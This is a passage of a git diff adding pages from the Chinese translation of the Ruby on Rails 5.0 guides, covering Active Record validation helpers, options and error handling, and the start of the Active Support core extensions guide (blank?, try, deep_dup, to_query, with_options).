为了能验证关联的对象是否存在,要在关联中指定 :inverse_of 选项。

+
+class Order < ApplicationRecord
+  has_many :line_items, inverse_of: :order
+end
+
+
+
+

如果验证 has_onehas_many 关联的对象是否存在,会在关联的对象上调用 blank?marked_for_destruction? 方法。

因为 false.blank? 的返回值是 true,所以如果要验证布尔值字段是否存在,要使用下述验证中的一个:

+
+validates :boolean_field_name, inclusion: { in: [true, false] }
+validates :boolean_field_name, exclusion: { in: [nil] }
+
+
+
+

上述验证确保值不是 nil;在多数情况下,即验证不是 NULL

默认的错误消息是“can’t be blank”。

2.10 absence +

这个辅助方法验证指定的属性值是否为空。它使用 present? 方法检测值是否为 nil 或空字符串,即空字符串或只包含空白的字符串。

+
+class Person < ApplicationRecord
+  validates :name, :login, :email, absence: true
+end
+
+
+
+

如果要确保关联对象为空,要测试关联的对象本身是否为空,而不是用来映射关联的外键。

+
+class LineItem < ApplicationRecord
+  belongs_to :order
+  validates :order, absence: true
+end
+
+
+
+

为了能验证关联的对象是否为空,要在关联中指定 :inverse_of 选项。

+
+class Order < ApplicationRecord
+  has_many :line_items, inverse_of: :order
+end
+
+
+
+

如果验证 has_onehas_many 关联的对象是否为空,会在关联的对象上调用 present?marked_for_destruction? 方法。

因为 false.present? 的返回值是 false,所以如果要验证布尔值字段是否为空要使用 validates :field_name, exclusion: { in: [true, false] }

默认的错误消息是“must be blank”。

2.11 uniqueness +

这个辅助方法在保存对象之前验证属性值是否是唯一的。该方法不会在数据库中创建唯一性约束,所以有可能两次数据库连接创建的记录具有相同的字段值。为了避免出现这种问题,必须在数据库的字段上建立唯一性索引。

+
+class Account < ApplicationRecord
+  validates :email, uniqueness: true
+end
+
+
+
+

这个验证会在模型对应的表中执行一个 SQL 查询,检查现有的记录中该字段是否已经出现过相同的值。

:scope 选项用于指定检查唯一性时使用的一个或多个属性:

+
+class Holiday < ApplicationRecord
+  validates :name, uniqueness: { scope: :year,
+    message: "should happen once per year" }
+end
+
+
+
+

如果想确保使用 :scope 选项的唯一性验证严格有效,必须在数据库中为多列创建唯一性索引。多列索引的详情参见 MySQL 手册PostgreSQL 手册中有些示例,说明如何为一组列创建唯一性约束。

还有个 :case_sensitive 选项,指定唯一性验证是否区分大小写,默认值为 true

+
+class Person < ApplicationRecord
+  validates :name, uniqueness: { case_sensitive: false }
+end
+
+
+
+

注意,不管怎样设置,有些数据库查询时始终不区分大小写。

默认的错误消息是“has already been taken”。

2.12 validates_with +

这个辅助方法把记录交给其他类做验证。

+
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if record.first_name == "Evil"
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ApplicationRecord
+  validates_with GoodnessValidator
+end
+
+
+
+

record.errors[:base] 中的错误针对整个对象,而不是特定的属性。

validates_with 方法的参数是一个类或一组类,用来做验证。validates_with 方法没有默认的错误消息。在做验证的类中要手动把错误添加到记录的错误集合中。

实现 validate 方法时,必须指定 record 参数,这是要做验证的记录。

与其他验证一样,validates_with 也可指定 :if:unless:on 选项。如果指定了其他选项,会包含在 options 中传递给做验证的类。

+
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if options[:fields].any?{|field| record.send(field) == "Evil" }
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ApplicationRecord
+  validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
+
+
+
+

注意,做验证的类在整个应用的生命周期内只会初始化一次,而不是每次验证时都初始化,所以使用实例变量时要特别小心。

如果做验证的类很复杂,必须要用实例变量,可以用纯粹的 Ruby 对象代替:

+
+class Person < ApplicationRecord
+  validate do |person|
+    GoodnessValidator.new(person).validate
+  end
+end
+
+class GoodnessValidator
+  def initialize(person)
+    @person = person
+  end
+
+  def validate
+    if some_complex_condition_involving_ivars_and_private_methods?
+      @person.errors[:base] << "This person is evil"
+    end
+  end
+
+  # ...
+end
+
+
+
+

2.13 validates_each +

这个辅助方法使用代码块中的代码验证属性。它没有预先定义验证函数,你要在代码块中定义验证方式。要验证的每个属性都会传入块中做验证。在下面的例子中,我们确保名和姓都不能以小写字母开头:

+
+class Person < ApplicationRecord
+  validates_each :name, :surname do |record, attr, value|
+    record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/
+  end
+end
+
+
+
+

代码块的参数是记录、属性名和属性值。在代码块中可以做任何检查,确保数据有效。如果验证失败,应该向模型添加一个错误消息,把数据标记为无效。

3 常用的验证选项

下面介绍常用的验证选项。

3.1 :allow_nil +

指定 :allow_nil 选项后,如果要验证的值为 nil 就跳过验证。

+
+class Coffee < ApplicationRecord
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }, allow_nil: true
+end
+
+
+
+

3.2 :allow_blank +

:allow_blank 选项和 :allow_nil 选项类似。如果要验证的值为空(调用 blank? 方法判断,例如 nil 或空字符串),就跳过验证。

+
+class Topic < ApplicationRecord
+  validates :title, length: { is: 5 }, allow_blank: true
+end
+
+Topic.create(title: "").valid?  # => true
+Topic.create(title: nil).valid? # => true
+
+
+
+

3.3 :message +

前面已经介绍过,如果验证失败,会把 :message 选项指定的字符串添加到 errors 集合中。如果没指定这个选项,Active Record 使用各个验证辅助方法的默认错误消息。:message 选项的值是一个字符串或一个 Proc 对象。

字符串消息中可以包含 %{value}%{attribute}%{model},在验证失败时它们会被替换成具体的值。

Proc 形式的消息有两个参数:验证的对象,以及包含 :model:attribute:value 键值对的散列。

+
+class Person < ApplicationRecord
+  # 直接写消息
+  validates :name, presence: { message: "must be given please" }
+
+  # 带有动态属性值的消息。%{value} 会被替换成属性的值
+  # 此外还可以使用 %{attribute} 和 %{model}
+  validates :age, numericality: { message: "%{value} seems wrong" }
+
+  # Proc
+  validates :username,
+    uniqueness: {
+      # object = 要验证的 person 对象
+      # data = { model: "Person", attribute: "Username", value: <username> }
+      message: ->(object, data) do
+        "Hey #{object.name}!, #{data[:value]} is taken already! Try again #{Time.zone.tomorrow}"
+      end
+    }
+end
+
+
+
+

3.4 :on +

:on 选项指定什么时候验证。所有内置的验证辅助方法默认都在保存时(新建记录或更新记录)验证。如果想修改,可以使用 on: :create,指定只在创建记录时验证;或者使用 on: :update,指定只在更新记录时验证。

+
+class Person < ApplicationRecord
+  # 更新时允许电子邮件地址重复
+  validates :email, uniqueness: true, on: :create
+
+  # 创建记录时允许年龄不是数字
+  validates :age, numericality: true, on: :update
+
+  # 默认行为(创建和更新时都验证)
+  validates :name, presence: true
+end
+
+
+
+

此外,还可以使用 on: 定义自定义的上下文。必须把上下文的名称传给 valid?invalid?save 才能触发自定义的上下文。

+
+class Person < ApplicationRecord
+  validates :email, uniqueness: true, on: :account_setup
+  validates :age, numericality: true, on: :account_setup
+end
+
+person = Person.new
+
+
+
+

person.valid?(:account_setup) 会执行上述两个验证,但不保存记录。person.save(context: :account_setup) 在保存之前在 account_setup 上下文中验证 person。显式触发时,可以只使用某个上下文验证,也可以不使用某个上下文验证。

4 严格验证

数据验证还可以使用严格模式,当对象无效时抛出 ActiveModel::StrictValidationFailed 异常。

+
+class Person < ApplicationRecord
+  validates :name, presence: { strict: true }
+end
+
+Person.new.valid?  # => ActiveModel::StrictValidationFailed: Name can't be blank
+
+
+
+

还可以通过 :strict 选项指定抛出什么异常:

+
+class Person < ApplicationRecord
+  validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
+end
+
+Person.new.valid?  # => TokenGenerationException: Token can't be blank
+
+
+
+

5 条件验证

有时,只有满足特定条件时做验证才说得通。条件可通过 :if:unless 选项指定,这两个选项的值可以是符号、字符串、Proc 或数组。:if 选项指定何时做验证。如果要指定何时不做验证,使用 :unless 选项。

5.1 使用符号

:if:unless 选项的值为符号时,表示要在验证之前执行对应的方法。这是最常用的设置方法。

+
+class Order < ApplicationRecord
+  validates :card_number, presence: true, if: :paid_with_card?
+
+  def paid_with_card?
+    payment_type == "card"
+  end
+end
+
+
+
+

5.2 使用字符串

:if:unless 选项的值还可以是字符串,但必须是有效的 Ruby 代码,传给 eval 方法执行。当字符串表示的条件非常短时才应该使用这种形式。

+
+class Person < ApplicationRecord
+  validates :surname, presence: true, if: "name.nil?"
+end
+
+
+
+

5.3 使用 Proc

:if and :unless 选项的值还可以是 Proc。使用 Proc 对象可以在行间编写条件,不用定义额外的方法。这种形式最适合用在一行代码能表示的条件上。

+
+class Account < ApplicationRecord
+  validates :password, confirmation: true,
+    unless: Proc.new { |a| a.password.blank? }
+end
+
+
+
+

5.4 条件组合

有时,同一个条件会用在多个验证上,这时可以使用 with_options 方法:

+
+class User < ApplicationRecord
+  with_options if: :is_admin? do |admin|
+    admin.validates :password, length: { minimum: 10 }
+    admin.validates :email, presence: true
+  end
+end
+
+
+
+

with_options 代码块中的所有验证都会使用 if: :is_admin? 这个条件。

5.5 联合条件

另一方面,如果是否做某个验证要满足多个条件时,可以使用数组。而且,一个验证可以同时指定 :if:unless 选项。

+
+class Computer < ApplicationRecord
+  validates :mouse, presence: true,
+                    if: ["market.retail?", :desktop?],
+                    unless: Proc.new { |c| c.trackpad.present? }
+end
+
+
+
+

只有当 :if 选项的所有条件都返回 true,且 :unless 选项中的条件返回 false 时才会做验证。

6 自定义验证

如果内置的数据验证辅助方法无法满足需求,可以选择自己定义验证使用的类或方法。

6.1 自定义验证类

自定义的验证类继承自 ActiveModel::Validator,必须实现 validate 方法,其参数是要验证的记录,然后验证这个记录是否有效。自定义的验证类通过 validates_with 方法调用。

+
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    unless record.name.starts_with? 'X'
+      record.errors[:name] << 'Need a name starting with X please!'
+    end
+  end
+end
+
+class Person
+  include ActiveModel::Validations
+  validates_with MyValidator
+end
+
+
+
+

在自定义的验证类中验证单个属性,最简单的方法是继承 ActiveModel::EachValidator 类。此时,自定义的验证类必须实现 validate_each 方法。这个方法接受三个参数:记录、属性名和属性值。它们分别对应模型实例、要验证的属性及其值。

+
+class EmailValidator < ActiveModel::EachValidator
+  def validate_each(record, attribute, value)
+    unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+      record.errors[attribute] << (options[:message] || "is not an email")
+    end
+  end
+end
+
+class Person < ApplicationRecord
+  validates :email, presence: true, email: true
+end
+
+
+
+

如上面的代码所示,可以同时使用内置的验证方法和自定义的验证类。

6.2 自定义验证方法

你还可以自定义方法,验证模型的状态,如果验证失败,向 erros 集合添加错误消息。验证方法必须使用类方法 validateAPI)注册,传入自定义验证方法名的符号形式。

这个类方法可以接受多个符号,自定义的验证方法会按照注册的顺序执行。

valid? 方法会验证错误集合是否为空,因此若想让验证失败,自定义的验证方法要把错误添加到那个集合中。

+
+class Invoice < ApplicationRecord
+  validate :expiration_date_cannot_be_in_the_past,
+    :discount_cannot_be_greater_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    if expiration_date.present? && expiration_date < Date.today
+      errors.add(:expiration_date, "can't be in the past")
+    end
+  end
+
+  def discount_cannot_be_greater_than_total_value
+    if discount > total_value
+      errors.add(:discount, "can't be greater than total value")
+    end
+  end
+end
+
+
+
+

默认情况下,每次调用 valid? 方法或保存对象时都会执行自定义的验证方法。不过,使用 validate 方法注册自定义验证方法时可以设置 :on 选项,指定什么时候验证。:on 的可选值为 :create:update

+
+class Invoice < ApplicationRecord
+  validate :active_customer, on: :create
+
+  def active_customer
+    errors.add(:customer_id, "is not active") unless customer.active?
+  end
+end
+
+
+
+

7 处理验证错误

除了前面介绍的 valid?invalid? 方法之外,Rails 还提供了很多方法用来处理 errors 集合,以及查询对象的有效性。

下面介绍其中一些最常用的方法。所有可用的方法请查阅 ActiveModel::Errors 的文档。

7.1 errors +

ActiveModel::Errors 的实例包含所有的错误。键是每个属性的名称,值是一个数组,包含错误消息字符串。

+
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.messages
+ # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors.messages # => {}
+
+
+
+

7.2 errors[] +

errors[] 用于获取某个属性上的错误消息,返回结果是一个由该属性所有错误消息字符串组成的数组,每个字符串表示一个错误消息。如果字段上没有错误,则返回空数组。

+
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors[:name] # => []
+
+person = Person.new(name: "JD")
+person.valid? # => false
+person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+
+
+

7.3 errors.add +

add 方法用于手动添加某属性的错误消息,它的参数是属性和错误消息。

使用 errors.full_messages(或等价的 errors.to_a)方法以对用户友好的格式显示错误消息。这些错误消息的前面都会加上属性名(首字母大写),如下述示例所示。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+
+
+
+

<< 的作用与 errors#add 一样:把一个消息追加到 errors.messages 数组中。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.messages[:name] << "cannot contain the characters !@#%*()_-+="
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.to_a
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+
+
+
+

7.4 errors.details +

使用 errors.add 方法可以为返回的错误详情散列指定验证程序类型。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.add(:name, :invalid_characters)
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors.details[:name]
+# => [{error: :invalid_characters}]
+
+
+
+

如果想提升错误详情的信息量,可以为 errors.add 方法提供额外的键,指定不允许的字符。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=")
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors.details[:name]
+# => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}]
+
+
+
+

Rails 内置的验证程序生成的错误详情散列都有对应的验证程序类型。

7.5 errors[:base] +

错误消息可以添加到整个对象上,而不是针对某个属性。如果不想管是哪个属性导致对象无效,只想把对象标记为无效状态,就可以使用这个方法。errors[:base] 是个数组,可以添加字符串作为错误消息。

+
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors[:base] << "This person is invalid because ..."
+  end
+end
+
+
+
+

7.6 errors.clear +

如果想清除 errors 集合中的所有错误消息,可以使用 clear 方法。当然,在无效的对象上调用 errors.clear 方法后,对象还是无效的,虽然 errors 集合为空了,但下次调用 valid? 方法,或调用其他把对象存入数据库的方法时, 会再次进行验证。如果任何一个验证失败了,errors 集合中就再次出现值了。

+
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+person.save # => false
+
+person.errors[:name]
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+
+
+

7.7 errors.size +

size 方法返回对象上错误消息的总数。

+
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+person = Person.new(name: "Andrea", email: "andrea@example.com")
+person.valid? # => true
+person.errors.size # => 0
+
+
+
+

8 在视图中显示验证错误

在模型中加入数据验证后,如果在表单中创建模型,出错时,你或许想把错误消息显示出来。

因为每个应用显示错误消息的方式不同,所以 Rails 没有直接提供用于显示错误消息的视图辅助方法。不过,Rails 提供了这么多方法用来处理验证,自己编写一个也不难。使用脚手架时,Rails 会在生成的 _form.html.erb 中加入一些 ERB 代码,显示模型错误消息的完整列表。

假如有个模型对象存储在实例变量 @article 中,视图的代码可以这么写:

+
+<% if @article.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>
+
+    <ul>
+    <% @article.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+<% end %>
+
+
+
+

此外,如果使用 Rails 的表单辅助方法生成表单,如果某个表单字段验证失败,会把字段包含在一个 <div> 中:

+
+<div class="field_with_errors">
+  <input id="article_title" name="article[title]" size="30" type="text" value="">
+</div>
+
+
+
+

然后,你可以根据需求为这个 div 添加样式。脚手架默认添加的 CSS 规则如下:

+
+.field_with_errors {
+  padding: 2px;
+  background-color: red;
+  display: table;
+}
+
+
+
+

上述样式把所有出错的表单字段放入一个内边距为 2 像素的红色框内。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_support_core_extensions.html b/v5.0/active_support_core_extensions.html new file mode 100644 index 0000000..2bcd85a --- /dev/null +++ b/v5.0/active_support_core_extensions.html @@ -0,0 +1,3346 @@ + + + + + + + +Active Support 核心扩展 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Support 核心扩展

Active Support 是 Ruby on Rails 的一个组件,扩展了 Ruby 语言,提供了一些实用功能。

Active Support 丰富了 Rails 使用的编程语言,目的是便于开发 Rails 应用以及 Rails 本身。

读完本文后,您将学到:

+
    +
  • 核心扩展是什么;

  • +
  • 如何加载所有扩展;

  • +
  • 如何按需加载想用的扩展;

  • +
  • Active Support 提供了哪些扩展。

  • +
+ + +
+

Chapters

+
    +
  1. +如何加载核心扩展 + + +
  2. +
  3. +所有对象皆可使用的扩展 + + +
  4. +
  5. +Module 的扩展 + + +
  6. +
  7. +Class 的扩展 + + +
  8. +
  9. +String 的扩展 + + +
  10. +
  11. +Numeric 的扩展 + + +
  12. +
  13. +Integer 的扩展 + + +
  14. +
  15. +BigDecimal 的扩展 + + +
  16. +
  17. +Enumerable 的扩展 + + +
  18. +
  19. +Array 的扩展 + + +
  20. +
  21. +Hash 的扩展 + + +
  22. +
  23. +Regexp 的扩展 + + +
  24. +
  25. +Range 的扩展 + + +
  26. +
  27. +Date 的扩展 + + +
  28. +
  29. +DateTime 的扩展 + + +
  30. +
  31. +Time 的扩展 + + +
  32. +
  33. +File 的扩展 + + +
  34. +
  35. +Marshal 的扩展 + + +
  36. +
  37. NameError 的扩展
  38. +
  39. LoadError 的扩展
  40. +
+ +
+ +
+
+ +
+
+
+

1 如何加载核心扩展

1.1 独立的 Active Support

为了减轻应用的负担,默认情况下 Active Support 不会加载任何功能。Active Support 中的各部分功能是相对独立的,可以只加载需要的功能,也可以方便地加载相互联系的功能,或者加载全部功能。

因此,只编写下面这个 require 语句,对象甚至无法响应 blank? 方法:

+
+require 'active_support'
+
+
+
+

我们来看一下到底应该如何加载。

1.1.1 按需加载

获取 blank? 方法最轻便的做法是按需加载其定义所在的文件。

本文为核心扩展中的每个方法都做了说明,告知是在哪个文件中定义的。对 blank? 方法而言,说明如下:

active_support/core_ext/object/blank.rb 文件中定义。

因此 blank? 方法要这么加载:

+
+require 'active_support'
+require 'active_support/core_ext/object/blank'
+
+
+
+

Active Support 的设计方式精良,确保按需加载时真的只加载所需的扩展。

1.1.2 成组加载核心扩展

下一层级是加载 Object 对象的所有扩展。一般来说,对 SomeClass 的扩展都保存在 active_support/core_ext/some_class 文件夹中。

因此,加载 Object 对象的所有扩展(包括 balnk? 方法)可以这么做:

+
+require 'active_support'
+require 'active_support/core_ext/object'
+
+
+
+
1.1.3 加载所有扩展

如果想加载所有核心扩展,可以这么做:

+
+require 'active_support'
+require 'active_support/core_ext'
+
+
+
+
1.1.4 加载 Active Support 提供的所有功能

最后,如果想使用 Active Support 提供的所有功能,可以这么做:

+
+require 'active_support/all'
+
+
+
+

其实,这么做并不会把整个 Active Support 载入内存,有些功能通过 autoload 加载,所以真正使用时才会加载。

1.2 在 Rails 应用中使用 Active Support

除非把 config.active_support.bare 设为 true,否则 Rails 应用不会加载 Active Support 提供的所有功能。即便全部加载,应用也会根据框架的设置按需加载所需功能,而且应用开发者还可以根据需要做更细化的选择,方法如前文所述。

2 所有对象皆可使用的扩展

2.1 blank?present? +

在 Rails 应用中,下面这些值表示空值:

+
    +
  • nilfalse

  • +
  • 只有空白的字符串(注意下面的说明);

  • +
  • 空数组和空散列;

  • +
  • 其他能响应 empty? 方法,而且返回值为 true 的对象;

  • +
+

判断字符串是否为空使用的是能理解 Unicode 字符的 [:space:],所以 U+2029(分段符)会被视为空白。

注意,这里并没有提到数字。特别说明,00.0 不是空值。

例如,ActionController::HttpAuthentication::Token::ControllerMethods 定义的这个方法使用 blank? 检查是否有令牌:

+
+def authenticate(controller, &login_procedure)
+  token, options = token_and_options(controller.request)
+  unless token.blank?
+    login_procedure.call(token, options)
+  end
+end
+
+
+
+

present? 方法等价于 !blank?。下面这个方法摘自 ActionDispatch::Http::Cache::Response

+
+def set_conditional_cache_control!
+  return if self["Cache-Control"].present?
+  ...
+end
+
+
+
+

active_support/core_ext/object/blank.rb 文件中定义。

2.2 presence +

如果 present? 方法返回 truepresence 方法的返回值为调用对象,否则返回 nil。惯用法如下:

+
+host = config[:host].presence || 'localhost'
+
+
+
+

active_support/core_ext/object/blank.rb 文件中定义。

2.3 duplicable? +

Ruby 中很多基本的对象是单例。例如,在应用的整个生命周期内,整数 1 始终表示同一个实例:

+
+1.object_id                 # => 3
+Math.cos(0).to_i.object_id  # => 3
+
+
+
+

因此,这些对象无法通过 dupclone 方法复制:

+
+true.dup  # => TypeError: can't dup TrueClass
+
+
+
+

有些数字虽然不是单例,但也不能复制:

+
+0.0.clone        # => allocator undefined for Float
+(2**1024).clone  # => allocator undefined for Bignum
+
+
+
+

Active Support 提供的 duplicable? 方法用于查询对象是否可以复制:

+
+"foo".duplicable? # => true
+"".duplicable?    # => true
+0.0.duplicable?   # => false
+false.duplicable? # => false
+
+
+
+

按照定义,除了 nilfalsetrue、符号、数字、类、模块和方法对象之外,其他对象都可以复制。

任何类都可以禁止对象复制,只需删除 dupclone 两个方法,或者在这两个方法中抛出异常。因此只能在 rescue 语句中判断对象是否可复制。duplicable? 方法直接检查对象是否在上述列表中,因此比 rescue 的速度快。仅当你知道上述列表能满足需求时才应该使用 duplicable? 方法。

active_support/core_ext/object/duplicable.rb 文件中定义。

2.4 deep_dup +

deep_dup 方法深拷贝指定的对象。一般情况下,复制包含其他对象的对象时,Ruby 不会复制内部对象,这叫做浅拷贝。假如有一个由字符串组成的数组,浅拷贝的行为如下:

+
+array     = ['string']
+duplicate = array.dup
+
+duplicate.push 'another-string'
+
+# 创建了对象副本,因此元素只添加到副本中
+array     # => ['string']
+duplicate # => ['string', 'another-string']
+
+duplicate.first.gsub!('string', 'foo')
+
+# 第一个元素没有副本,因此两个数组都会变
+array     # => ['foo']
+duplicate # => ['foo', 'another-string']
+
+
+
+

如上所示,复制数组后得到了一个新对象,修改新对象后原对象没有变化。但对数组中的元素来说情况就不一样了。因为 dup 方法不是深拷贝,所以数组中的字符串是同一个对象。

如果想深拷贝一个对象,应该使用 deep_dup 方法。举个例子:

+
+array     = ['string']
+duplicate = array.deep_dup
+
+duplicate.first.gsub!('string', 'foo')
+
+array     # => ['string']
+duplicate # => ['foo']
+
+
+
+

如果对象不可复制,deep_dup 方法直接返回对象本身:

+
+number = 1
+duplicate = number.deep_dup
+number.object_id == duplicate.object_id   # => true
+
+
+
+

active_support/core_ext/object/deep_dup.rb 文件中定义。

2.5 try +

如果只想当对象不为 nil 时在其上调用方法,最简单的方式是使用条件语句,但这么做把代码变复杂了。你可以使用 try 方法。try 方法和 Object#send 方法类似,但如果在 nil 上调用,返回值为 nil

举个例子:

+
+# 不使用 try
+unless @number.nil?
+  @number.next
+end
+
+# 使用 try
+@number.try(:next)
+
+
+
+

下面这个例子摘自 ActiveRecord::ConnectionAdapters::AbstractAdapter,实例变量 @logger 有可能为 nil。可以看出,使用 try 方法可以避免不必要的检查。

+
+def log_info(sql, name, ms)
+  if @logger.try(:debug?)
+    name = '%s (%.1fms)' % [name || 'SQL', ms]
+    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+  end
+end
+
+
+
+

try 方法也可接受代码块,仅当对象不为 nil 时才会执行其中的代码:

+
+@person.try { |p| "#{p.first_name} #{p.last_name}" }
+
+
+
+

注意,try 会吞没没有方法错误,返回 nil。如果想避免此类问题,应该使用 try!

+
+@number.try(:nest)  # => nil
+@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer
+
+
+
+

active_support/core_ext/object/try.rb 文件中定义。

2.6 class_eval(*args, &block) +

使用 class_eval 方法可以在对象的单例类上下文中执行代码:

+
+class Proc
+  def bind(object)
+    block, time = self, Time.current
+    object.class_eval do
+      method_name = "__bind_#{time.to_i}_#{time.usec}"
+      define_method(method_name, &block)
+      method = instance_method(method_name)
+      remove_method(method_name)
+      method
+    end.bind(object)
+  end
+end
+
+
+
+

active_support/core_ext/kernel/singleton_class.rb 文件中定义。

2.7 acts_like?(duck) +

acts_like? 方法检查一个类的行为是否与另一个类相似。比较是基于一个简单的约定:如果在某个类中定义了下面这个方法,就说明其接口与字符串一样。

+
+def acts_like_string?
+end
+
+
+
+

这个方法只是一个标记,其定义体和返回值不影响效果。开发者可使用下面这种方式判断两个类的表现是否类似:

+
+some_klass.acts_like?(:string)
+
+
+
+

Rails 使用这种约定定义了行为与 DateTime 相似的类。

active_support/core_ext/object/acts_like.rb 文件中定义。

2.8 to_param +

Rails 中的所有对象都能响应 to_param 方法。to_param 方法的返回值表示查询字符串的值,或者 URL 片段。

默认情况下,to_param 方法直接调用 to_s 方法:

+
+7.to_param # => "7"
+
+
+
+

to_param 方法的返回值不应该转义:

+
+"Tom & Jerry".to_param # => "Tom & Jerry"
+
+
+
+

Rails 中的很多类都覆盖了这个方法。

例如,niltruefalse 返回自身。Array#to_param 在各个元素上调用 to_param 方法,然后使用 "/" 合并:

+
+[0, true, String].to_param # => "0/true/String"
+
+
+
+

注意,Rails 的路由系统在模型上调用 to_param 方法获取占位符 :id 的值。ActiveRecord::Base#to_param 返回模型的 id,不过可以在模型中重新定义。例如,按照下面的方式重新定义:

+
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+
+
+
+

效果如下:

+
+user_path(@user) # => "/users/357-john-smith"
+
+
+
+

应该让控制器知道重新定义了 to_param 方法,因为接收到上面这种请求后,params[:id] 的值为 "357-john-smith"

active_support/core_ext/object/to_param.rb 文件中定义。

2.9 to_query +

除散列之外,传入未转义的 keyto_query 方法把 to_param 方法的返回值赋值给 key,组成查询字符串。例如,重新定义了 to_param 方法:

+
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+
+
+
+

效果如下:

+
+current_user.to_query('user') # => user=357-john-smith
+
+
+
+

to_query 方法会根据需要转义键和值:

+
+account.to_query('company[name]')
+# => "company%5Bname%5D=Johnson+%26+Johnson"
+
+
+
+

因此得到的值可以作为查询字符串使用。

Array#to_query 方法在各个元素上调用 to_query 方法,键为 _key_[],然后使用 "&" 合并:

+
+[3.4, -45.6].to_query('sample')
+# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
+
+
+
+

散列也响应 to_query 方法,但处理方式不一样。如果不传入参数,先在各个元素上调用 to_query(key),得到一系列键值对赋值字符串,然后按照键的顺序排列,再使用 "&" 合并:

+
+{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"
+
+
+
+

Hash#to_query 方法还有一个可选参数,用于指定键的命名空间:

+
+{id: 89, name: "John Smith"}.to_query('user')
+# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
+
+
+
+

active_support/core_ext/object/to_query.rb 文件中定义。

2.10 with_options +

with_options 方法把一系列方法调用中的通用选项提取出来。

使用散列指定通用选项后,with_options 方法会把一个代理对象拽入代码块。在代码块中,代理对象调用的方法会转发给调用者,并合并选项。例如,如下的代码

+
+class Account < ApplicationRecord
+  has_many :customers, dependent: :destroy
+  has_many :products,  dependent: :destroy
+  has_many :invoices,  dependent: :destroy
+  has_many :expenses,  dependent: :destroy
+end
+
+
+
+

其中的重复可以使用 with_options 方法去除:

+
+class Account < ApplicationRecord
+  with_options dependent: :destroy do |assoc|
+    assoc.has_many :customers
+    assoc.has_many :products
+    assoc.has_many :invoices
+    assoc.has_many :expenses
+  end
+end
+
+
+
+

这种用法还可形成一种分组方式。假如想根据用户使用的语言发送不同的电子报,在邮件发送程序中可以根据用户的区域设置分组:

+
+I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
+  subject i18n.t :subject
+  body    i18n.t :body, user_name: user.name
+end
+
+
+
+

with_options 方法会把方法调用转发给调用者,因此可以嵌套使用。每层嵌套都会合并上一层的选项。

active_support/core_ext/object/with_options.rb 文件中定义。

2.11 对 JSON 的支持

